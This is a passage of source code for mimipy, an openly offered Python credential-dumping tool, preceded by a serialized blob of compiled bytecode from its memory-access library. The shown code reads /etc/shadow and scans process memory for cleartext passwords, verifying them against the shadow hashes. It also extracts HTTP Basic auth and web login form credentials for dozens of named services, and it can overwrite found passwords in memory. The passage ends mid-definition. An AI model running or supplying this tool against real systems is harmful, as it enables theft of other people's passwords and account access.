\x00d\\\\x04\\\\x00t\\\\x05\\\\x00|\\\\x00\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00\\\\x17d\\\\x05\\\\x00\\\\x17d\\\\x06\\\\x00d\\\\x07\\\\x00\\\\x83\\\\x03\\\\x00\\\\x8f#\\\\x00}\\\\x04\\\\x00|\\\\x04\\\\x00j\\\\x07\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01|\\\\x04\\\\x00j\\\\x08\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x03\\\\x00Wd\\\\x00\\\\x00QXn\\\\xa6\\\\x00t\\\\t\\\\x00d\\\\x04\\\\x00t\\\\x05\\\\x00|\\\\x00\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00\\\\x17d\\\\x05\\\\x00\\\\x17\\\\x83\\\\x01\\\\x00}\\\\x05\\\\x00t\\\\n\\\\x00t\\\\x0b\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x0c\\\\x00j\\\\r\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x06\\\\x00zc\\\\x00t\\\\x0e\\\\x00|\\\\x06\\\\x00|\\\\x01\\\\x00t\\\\x0c\\\\x00j\\\\x0f\\\\x00\\\\x83\\\\x03\\\\x00\\\\x01d\\\\x01\\\\x00}\\\\x03\\\\x00y\\\\x16\\\\x00t\\\\x0c\\\\x00j\\\\x08\\\\x00|\\\\x06\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x03\\\\x00Wn-\\\\x00\\\\x04t\\\\x10\\\\x00k\\\\n\\\\x00r\\\\x16\\\\x01\\\\x01}\\\\x07\\\\x00\\\\x01t\\\\x11\\\\x00j\\\\x12\\\\x00d\\\\x08\\\\x00|\\\\x02\\\\x00|\\\\x01\\\\x00|\\\\x07\\\\x00f\\\\x03\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x01\\\\x00XWd\\\\x00\\\\x00t\\\\x13\\\\x00|\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01X|\\\\x00\\\\x00j\\\\x00\\\\x00r<\\\\x01|\\\\x00\\\\x00j\\\\x14\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01n\\\\x00\\\\x00|\\\\x03\\\\x00S(\\\\n\\\\x00\\\\x00\\\\x00NRB\\\\x00\\\\x00\\\\x00i\\\\x02\\\\x00\\\\x00\\\\x00i \\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00/proc/s\\\\x04\\\\x00\\\\x00\\\\x00/memR*\\\\x00\\\\x00\\\\x00i\\\\x00\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00Error reading %s at %s: %sI\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00(\\\\x15\\\\x00\\\\x00\\\\x00R#\\\\x00\\\\x00\\\\x00R;\\\\x00\\\\x00\\\\x00t\\\\x12\\\\x00\\\\x00\\\\x00LARGE_FILE_SUPPORTR,\\\\x00\\\\x00\\\\x00R+\\\\x00\\\\x00\\\\x00R\\\\\\\\\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00seekR-\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00open64R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00O_RDONLYt\\\\x07\\\\x00\\\\x00\\\\x00lseek64t\\\\x08\\\\x00\\\\x00\\\\x00SEEK_SETR2\\\\x00\\\\x00\\\\x00R/\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00infot\\\\x07\\\\x00\\\\x00\\\\x00c_closeR7\\\\x00\\\\x00\\\\x00(\\\\x08\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00R|\\\\x00\\\\x00\\\\x00Rq\\\\x00\\\\x00\\\\x00R}\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00patht\\\\x02\\\\x00\\\\x00\\\\x00fdR5\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyRw\\\\x00\\\\x00\\\\x00\\\\n\\\\x01\\\\x00\\\\x00s(\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\r\\\\x01\\\\x06\\\\x01\\\\x19\\\\x01&\\\\x01\\\\r\\\\x01\\\\x18\\\\x02\\\\x1d\\\\x01\\\\x18\\\\x01\\\\x03\\\\x01\\\\x13\\\\x01\\\\x06\\\\x01\\\\x03\\\\x01\\\\x16\\\\x01\\\\x0f\\\\x01\"\\\\x02\\\\x0b\\\\x01\\\\t\\\\x01\\\\r\\\\x01N(\\\\x12\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__name__t\\\\n\\\\x00\\\\x00\\\\x00__module__R\\\\x1b\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00R6\\\\x00\\\\x00\\\\x00R8\\\\x00\\\\x00\\\\x00R9\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00staticmethodRA\\\\x00\\\\x00\\\\x00R \\\\x00\\\\x00\\\\x00RW\\\\x00\\\\x00\\\\x00Ro\\\\x00\\\\x00\\\\x00R;\\\\x00\\\\x00\\\\x00R7\\\\x00\\\\x00\\\\x00R\\\\x83\\\\x00\\\\x00\\\\x00Rw\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR\\\\x18\\\\x00\\\\x00\\\\x00F\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\x15\\\\x12\\\\t+\\\\t\\\\x04\\\\t\\\\x04\\\\t\\\\x08\\\\x0f\\\\x0b\\\\x0f\\\\x10\\\\t\\\\x14\\\\x15\\\\x1f\\\\t\\\\x06\\\\t\\\\x06\\\\t\\\\x1c(1\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00copyt\\\\x06\\\\x00\\\\x00\\\\x00structt\\\\x05\\\\x00\\\\x00\\\\x00utilst\\\\x08\\\\x00\\\\x00\\\\x00platformRH\\\\x00\\\\x00\\\\x00R]\\\\x00\\\\x00\\\\x00Rx\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00RK\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00structurest\\\\x07\\\\x00\\\\x00\\\\x00loggingt\\\\t\\\\x00\\\\x00\\\\x00getLoggerR/\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00CDLLR$\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00libct\\\\x10\\\\x00\\\\x00\\\\x00__errno_locationt\\\\r\\\\x00\\\\x00\\\\x00get_errno_loct\\\\x07\\\\x00\\\\x00\\\\x00restypeR\\\\x17\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00RN\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00c_int32RI\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00argtypest\\\\x08\\\\x00\\\\x00\\\\x00mprotectR\\\\x1d\\\\x00\\\\x00\\\\x00R\\\\x84\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00c_longlongt\\\\t\\\\x00\\\\x00\\\\x00c_off64_tR\\\\x88\\\\x00\\\\x00\\\\x00R\\\\x86\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00pread64R8\\\\x00\\\\x00\\\\x00R\\\\x8b\\\\x00\\\\x00\\\\x00R0\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x11\\\\x00\\\\x00\\\\x00sX\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01$\\\\x01@\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x16\\\\x01\\\\n\\\\x01\\\\x0c\\\\x02\\\\x0f\\\\x02\\\\x15\\\\x01\\\\t\\\\x01\\\\x0f\\\\x02\\\\t\\\\x06\\\\t\\\\x01\\\\t\\\\x01\\\\x15\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x12\\\\x01\\\\x06\\\\x01\\\\x03\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x12\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x0f\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x15\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\t\\\\x01\\\\n\\\\x01\\\\x03\\\\x01\\\\x11\\\\x02\\'\\np27\\nsS\\'memorpy/version.pyc\\'\\np28\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s\\\\x14\\\\x00\\\\x00\\\\x00d\\\\x04\\\\x00Z\\\\x00\\\\x00d\\\\x02\\\\x00e\\\\x00\\\\x00\\\\x16Z\\\\x01\\\\x00d\\\\x03\\\\x00S(\\\\x05\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00i\\\\x06\\\\x00\\\\x00\\\\x00s\\\\x05\\\\x00\\\\x00\\\\x00%s.%sN(\\\\x02\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00i\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00versiont\\\\x0e\\\\x00\\\\x00\\\\x00version_string(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/version.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x04\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\'\\np29\\nsS\\'memorpy/structures.pyc\\'\\np30\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s6\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00e\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x02\\\\x00k\\\\x02\\\\x00r(\\\\x00d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\x02\\\\x00Tn\\\\n\\\\x00d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\x03\\\\x00Td\\\\x01\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffNt\\\\x05\\\\x00\\\\x00\\\\x00win32(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00*(\\\\x04\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00syst\\\\x08\\\\x00\\\\x00\\\\x00platformt\\\\r\\\\x00\\\\x00\\\\x00WinStructurest\\\\r\\\\x00\\\\x00\\\\x00LinStructures(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/structures.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x04\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x0f\\\\x01\\\\r\\\\x02\\'\\np31\\ns.')\n\n#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\n\n\"\"\"\n    Author: Nicolas VERDIER (contact@n1nj4.eu)\n    Original idea from @huntergregal (https://github.com/huntergregal/mimipenguin)\n    This is a port in python of @huntergregal's bash script mimipenguin.sh with some improvments :\n        - possibility to clean passwords found from memory\n        - possibility to search for any trace of your password in all your processes\n        - possibility to scan a process by pid\n        - add some additional processes to scan like lightDM\n    You can find the bleeding edge version of mimipy here : https://github.com/n1nj4sec/mimipy\n\n\"\"\"\nimport sys, os\nimport urllib2\nimport re\nimport argparse\nimport logging\nimport time\nimport random\nimport traceback\nimport base64\nif sys.platform!=\"win32\":\n    import crypt\n\nclass VersionError(Exception):\n    pass\n\ntry:\n    from memorpy import *\n    try:\n        from memorpy.version import version as memorpy_version\n    except:\n        memorpy_version=(0,0)\n    if memorpy_version < (1,6):\n        logging.warning(\"memorpy version is too old, please update !\")\n        raise VersionError(\"memorpy version is too old, please update !\")\n        \nexcept ImportError as e:\n    logging.warning(\"%s\\ninstall with: \\\"pip install https://github.com/n1nj4sec/memorpy/archive/master.zip\\\"\"%e)\n    raise e\n\nLOOK_AFTER_SIZE=2*10**6\nLOOK_BEFORE_SIZE=2*10**6\n\n\n\n\ndef colorize(s, color=\"grey\"):\n    if s is None:\n        return \"\"\n    s=str(s)\n    res=s\n    COLOR_STOP=\"\\033[0m\"\n    if color.lower()==\"random\":\n        color=random.choice([\"blue\",\"red\",\"green\",\"yellow\"])\n    if color.lower()==\"blue\":\n        res=\"\\033[34m\"+s+COLOR_STOP\n    if color.lower()==\"red\":\n        res=\"\\033[31m\"+s+COLOR_STOP\n    if color.lower()==\"green\":\n        res=\"\\033[32m\"+s+COLOR_STOP\n    if color.lower()==\"yellow\":\n        res=\"\\033[33m\"+s+COLOR_STOP\n    if color.lower()==\"grey\":\n        res=\"\\033[37m\"+s+COLOR_STOP\n    if color.lower()==\"darkgrey\":\n        res=\"\\033[1;30m\"+s+COLOR_STOP\n    return res\n\n\ndef get_shadow_hashes():\n\n    if sys.platform==\"win32\" or sys.platform==\"darwin\":\n        return []\n\n    hashes=[]\n    try:\n        with open('/etc/shadow', 'rb') as f:\n            for line in f:\n                tab=line.split(\":\")\n                if len(tab[1])>10:\n                    hashes.append((tab[0],tab[1]))\n    except Exception as e:\n        logging.warning(\"Error retrieving shadow hashes: %s\"%e)\n\n    return hashes\n\n\ndef memstrings(mw, start_offset=None, end_offset=None, optimizations=''):\n    for _,x in mw.mem_search(r\"([\\x20-\\x7e]{6,50})[^\\x20-\\x7e]\", ftype='re', start_offset=start_offset, end_offset=end_offset, optimizations=optimizations):\n        yield x\n\n\n\npasswords_found=set()\ndef password_found(desc, process, user, password):\n    global passwords_found\n    if (process, user, password) not in passwords_found:\n        passwords_found.add((process, user, password))\n        print colorize(\"%s : \"%desc, color=\"green\")\n        print colorize(\"\\t- Process\\t: %s\"%process, color=\"grey\")\n        print colorize(\"\\t- Username\\t: %s\"%user, color=\"grey\")\n        print colorize(\"\\t- Password\\t: %s\"%password, color=\"grey\")\n\n\ndef password_list_match(password_list, near):\n    for passwd in password_list:\n        if near.search(passwd):\n            return True\n    return False\n\ndef cleanup_string(s):\n    ns=\"\"\n    for c in s:\n        if ord(c)<0x20 or ord(c)>0x7e:\n            break\n        ns+=c\n    return ns\n\ndef get_strings_around(mw, addr, string_at_addr, max_strings=30):\n    strings_list=[]\n    logging.debug(\"looking for strings around %s from %s to %s\"%(hex(addr), int(addr-LOOK_BEFORE_SIZE), int(addr-LOOK_AFTER_SIZE)))\n    for o in memstrings(mw, start_offset=int(addr-LOOK_BEFORE_SIZE), end_offset=int(addr+LOOK_AFTER_SIZE)):\n        s=cleanup_string(o.read(type='string', maxlen=51, errors='ignore'))\n        strings_list.append(s)\n        if len(strings_list)>=30 and string_at_addr in strings_list[max_strings/2]:\n            break\n        elif len(strings_list)>30:\n            strings_list=strings_list[1:]\n    return strings_list\n\ndef search_password(optimizations='nsrx', pid=None, mode=\"cleartext\", ignore=[]):\n    import getpass\n    mypasswd=getpass.getpass(\"search your password: \")\n    if mode!=\"no-cleartext\":\n        if mode==\"cleartext\" or mode==\"all\":\n            print (\"Searching for cleartext ...\")\n            search_string(mypasswd, optimizations=optimizations, pid=pid, ignore=ignore)\n    else:\n        mode=\"all\"\n    if mode==\"xor\" or mode==\"all\":\n        for i in range(1,255):\n            newpasswd=''.join([chr(ord(x)^i) for x in mypasswd])\n            print (\"Searching for password xored with %s : %s ...\"%(hex(i), repr(newpasswd)))\n            search_string(newpasswd, optimizations=optimizations, pid=pid, ignore=ignore)\n    if mode==\"b64\" or mode==\"all\":\n        newpasswd=base64.b64encode(mypasswd)\n        print (\"Searching for password encoded with base64 : %s ...\"%(newpasswd))\n        search_string(newpasswd, optimizations=optimizations, pid=pid, ignore=ignore)\n\ndef search_string(mypasswd, optimizations='nsrx', pid=None, ignore=[]):\n    for procdic in Process.list():\n        name=procdic.get(\"name\",\"\")\n        cpid=int(procdic[\"pid\"])\n        if sys.platform==\"win32\":\n            if pid==0 or pid==4:\n                continue\n        if pid is not None:\n            if pid!=cpid:\n                continue\n        elif cpid==os.getpid():\n            continue\n        if ignore:\n            ignore_proc=False\n            for i in ignore:\n                if i in name:\n                    ignore_proc=True\n                    break\n            if ignore_proc:\n                logging.info(\"process %s ignored\"%name)\n                continue\n        logging.info(\"Searching pass in %s (%s)\"%(name, cpid))\n        try:\n            with MemWorker(pid=cpid) as mw:\n                #for _,x in mw.mem_search(r\"\\$[0-9][a-z]?\\$(?:[a-zA-Z0-9\\./\\-\\+]{4,}\\$)?[a-zA-Z0-9\\./\\-\\+]{20,}\", ftype='re'):\n                #    h=x.read(type='string', maxlen=300)\n                #    print \"hash found in %s (%s) : %s\"%(name, pid, h)\n                #    strings_list=get_strings_around(mw, x, h)\n                #    print \"strings found around : %s\"%strings_list\n                #    if not strings_list:\n                #        x.dump(before=200, size=400)\n                for x in mw.mem_search(mypasswd, optimizations=optimizations):\n                    print colorize(\"[+] password found in process %s (%s) : %s !\"%(name, cpid, x), color=\"green\")\n                    x.dump(before=500, size=1000)\n                    print \"strings found around : \"\n                    strings_list=get_strings_around(mw, x, mypasswd)\n                    print \"strings found around : %s\"%strings_list\n                    #print \"strings where the password's address is referenced :\"\n                    #for _,o in mw.search_address(x):\n                    #    o.dump(before=200, size=400)\n                    #print \"done\"\n\n        except Exception as e:\n            logging.error(\"Error scanning process %s (%s): %s\"%(name, cpid, e))\n            logging.debug(traceback.format_exc())\n\n#from https://github.com/putterpanda/mimikittenz\nmimikittenz_regex=[\n    (\"Gmail\",\"&Email=(?P<Login>.{1,99})?&Passwd=(?P<Password>.{1,99})?&PersistentCookie=\"),\n    (\"Dropbox\",\"login_email=(?P<Login>.{1,99})&login_password=(?P<Password>.{1,99})&\"),\n    (\"SalesForce\",\"&display=page&username=(?P<Login>.{1,32})&pw=(?P<Password>.{1,16})&Login=\"),\n    (\"Office365\",\"login=(?P<Login>.{1,32})&passwd=(?P<Password>.{1,22})&PPSX=\"),\n    (\"MicrosoftOneDrive\",\"login=(?P<Login>.{1,42})&passwd=(?P<Password>.{1,22})&type=.{1,2}&PPFT=\"),\n    (\"PayPal\",\"login_email=(?P<Login>.{1,48})&login_password=(?P<Password>.{1,16})&submit=Log\\+In&browser_name\"),\n    (\"awsWebServices\",\"&email=(?P<Login>.{1,48})&create=.{1,2}&password=(?P<Password>.{1,22})&metadata1=\"),\n    (\"OutlookWeb\",\"&username=(?P<Login>.{1,48})&password=(?P<Password>.{1,48})&passwordText\"),\n    (\"Slack\",\"&crumb=.{1,70}&email=(?P<Login>.{1,50})&password=(?P<Password>.{1,48})\"),\n    (\"CitrixOnline\",\"emailAddress=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&submit\"),\n    (\"Xero \",\"fragment=&userName=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&__RequestVerificationToken=\"),\n    (\"MYOB\",\"UserName=(?P<Login>.{1,50})&Password=(?P<Password>.{1,50})&RememberMe=\"),\n    (\"JuniperSSLVPN\",\"tz_offset=-.{1,6}&username=(?P<Login>.{1,22})&password=(?P<Password>.{1,22})&realm=.{1,22}&btnSubmit=\"),\n    (\"Twitter\",\"username_or_email%5D=(?P<Login>.{1,42})&session%5Bpassword%5D=(?P<Password>.{1,22})&remember_me=\"),\n    (\"Facebook\",\"lsd=.{1,10}&email=(?P<Login>.{1,42})&pass=(?P<Password>.{1,22})&(?:default_)?persistent=\"),\n    (\"LinkedIN\",\"session_key=(?P<Login>.{1,50})&session_password=(?P<Password>.{1,50})&isJsEnabled\"),\n    (\"Malwr\",\"&username=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&next=\"),\n    (\"VirusTotal\",\"password=(?P<Password>.{1,22})&username=(?P<Login>.{1,42})&next=%2Fen%2F&response_format=json\"),\n    (\"AnubisLabs\",\"username=(?P<Login>.{1,42})&password=(?P<Password>.{1,22})&login=login\"),\n    (\"CitrixNetScaler\",\"login=(?P<Login>.{1,22})&passwd=(?P<Password>.{1,42})\"),\n    (\"RDPWeb\",\"DomainUserName=(?P<Login>.{1,52})&UserPass=(?P<Password>.{1,42})&MachineType\"),\n    (\"JIRA\",\"username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&rememberMe\"),\n    (\"Redmine\",\"username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&login=Login\"),\n    (\"Github\",\"%3D%3D&login=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})\"),\n    (\"BugZilla\",\"Bugzilla_login=(?P<Login>.{1,50})&Bugzilla_password=(?P<Password>.{1,50})\"),\n    (\"Zendesk\",\"user%5Bemail%5D=(?P<Login>.{1,50})&user%5Bpassword%5D=(?P<Password>.{1,50})\"),\n    (\"Cpanel\",\"user=(?P<Login>.{1,50})&pass=(?P<Password>.{1,50})\"),\n]\n\ndef search_http_creds(data, offset):\n    #those basic string search pre-checks speed up a lot analysis\n    if \"Basic \" in data:\n        for res in GLOBAL_REGEX['Basic'].finditer(data):\n            b64=res.groups()[0]\n            try:\n                user, password=base64.b64decode(b64).split(\":\",1)\n            except: #if we can't decode it's a false positive\n                pass\n            else:\n                yield \"Basic\", user, password, \"unknown\"\n\n    for word in [\"passw\",\"Passw\",\"PASSW\"]:\n        if word in data:\n            index=0\n            while True:\n                if index > len(data):\n                    break\n                ni=data.find(word, index)\n                if ni==-1:\n                    break\n                si=ni-100\n                if si<0:\n                    si=0\n                #print \"GET/POST in data %s\"%offset\n                for res in GLOBAL_REGEX['GET/POST'].finditer(data, si, ni+100):\n                    dic=res.groupdict()\n                    login=dic[\"Login\"]\n                    passwd=dic[\"Password\"]\n                    domain=\"unknown\"\n                    #now we found a password, let's check if it's a known website\n                    for d, regex in mimikittenz_regex:\n                        if re.search(regex, data[si:ni+100]):\n                            domain=d\n                            break\n                    yield \"GET/POST\", dic[\"Login\"], dic[\"Password\"], domain\n                index=ni+100\n\ndef loot_http_passwords(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'):\n    logging.info(\"Analysing process %s (%s) for HTTP passwords ...\"%(name, pid))\n    with MemWorker(name=name, pid=pid) as mw:\n        for cred_type, login, password, domain in mw.mem_search(search_http_creds, ftype='lambda', optimizations=optimizations):\n            desc=rule[\"desc\"]+\" \"+cred_type+\":<%s>\"%domain\n            yield (desc, login, password)\n\ndef loot_mysql_passwords(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'):\n    logging.info(\"Analysing process %s (%s) for MySQL passwords ...\"%(name, pid))\n    with MemWorker(name=name, pid=pid) as mw:\n        for cred_type, login, password in mw.mem_search(search_mysql_creds, ftype='lambda', optimizations=optimizations):\n            yield (rule[\"desc\"]+\" \"+cred_type, login, password)\n\ndef test_shadow(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'):\n    logging.info(\"Analysing process %s (%s) for shadow passwords ...\"%(name, pid))\n    password_tested=set() #to avoid hashing the same string multiple times\n    with MemWorker(name=name, pid=pid) as mw:\n        scanned_segments=[]\n        for _,match_addr in mw.mem_search(rule[\"near\"], ftype='re', optimizations=optimizations):\n            password_list=[]\n            total=0\n            start=int(match_addr-LOOK_AFTER_SIZE)\n            end=int(match_addr+LOOK_AFTER_SIZE)\n            for s,e in scanned_segments:\n                if end < s or start > e:\n                    continue #no collision\n                elif start >=s and e >= start and end >= e:\n                    logging.debug(\"%s-%s reduced to %s-%s\"%(hex(start), hex(end), hex(e), hex(end)))\n                    start=e-200 #we only scan a smaller region because some of it has already been scanned\n            logging.debug(\"looking between offsets %s-%s\"%(hex(start),hex(end)))\n            scanned_segments.append((start, end))\n            for x in memstrings(mw, start_offset=start, end_offset=end, optimizations=optimizations):\n                passwd=cleanup_string(x.read(type='string', maxlen=51, errors='ignore'))\n                total+=1\n                password_list.append(passwd)\n                if len(password_list)>40:\n                    password_list=password_list[1:]\n                if password_list_match(password_list, rule[\"near\"]):\n                    for p in password_list:\n                        if p not in password_tested:\n                            password_tested.add(p)\n                            for user, h in shadow_hashes:\n                                if crypt.crypt(p, h) == h:\n                                    yield (rule[\"desc\"], user, p)\n                                    if clean:\n                                        logging.info(\"cleaning password from memory in proc %s at offset: %s ...\"%(name, hex(x)))\n                                        x.write(\"x\"*len(p))\nshadow_hashes=[]\ndef mimipy_loot_passwords(clean=False, optimizations='nsrx', ignore=None):\n    global shadow_hashes\n    shadow_hashes=get_shadow_hashes()\n    for procdic in Process.list():\n        name=procdic.get(\"name\", \"\")\n        pid=int(procdic[\"pid\"])\n        if sys.platform==\"win32\":\n            if pid==0 or pid==4:\n                continue\n        if ignore:\n            ignore_proc=False\n            for i in ignore:\n                if i in name:\n                    ignore_proc=True\n                    break\n            if ignore_proc:\n                logging.info(\"process %s ignored\"%name)\n                continue\n        for rule in rules:\n            if re.search(rule[\"process\"], name):\n                start_time=time.time()\n                try:\n                    for t, u, p in rule[\"func\"](name, pid, rule, clean=clean, optimizations=optimizations):\n                        yield (t, name, u, p)\n                except Exception as e:\n                    logging.warning(\"[-] %s\"%e)\n                    logging.debug(traceback.format_exc())\n                finally:\n                    logging.info(\"Process %s analysed in %s seconds\"%(name, time.time()-start_time))\n\nGLOBAL_REGEX = {\n    #\\x00Basic b64\\x00 often found in firefox\n    \"Basic\" : re.compile(r\"(?:WWW-|Proxy-)?(?:(?:Authorization(?:\\x00|:)\\s*)|\\x00)Basic\\s+(?P<basic>[a-zA-Z0-9/\\+]+={0,3})\", re.IGNORECASE), #TODO: digest, ntlm, ... hashes are still nice\n\n    \"GET/POST\" : re.compile(r\"(:?e?mail(?:_?adress)?|log(?:in)?|user(?:name)?|session_key|user%5Bemail%5D)=(?P<Login>[a-zA-Z0-9%_+*.:-]{0,25})&.{0,10}?(?:[a-z]{1,10}_|user)?(?:pa?s?s?w?o?r?d?|mdp|%5Bpassword%5D)=(?P<Password>[a-zA-Z0-9%_+*.:-]{0,25})\", re.IGNORECASE),\n    \"MySQL-Client-1\" : re.compile(r\"passwd\\x00\\x00!(?:\\x00){2,}(?P<Login>[^\\x00]+).*?shadow\\x00\\x00*!(?:\\x00){2,}(?P<Password>[^\\x00]+)\"),\n    \"MySQL-Client-2\" : 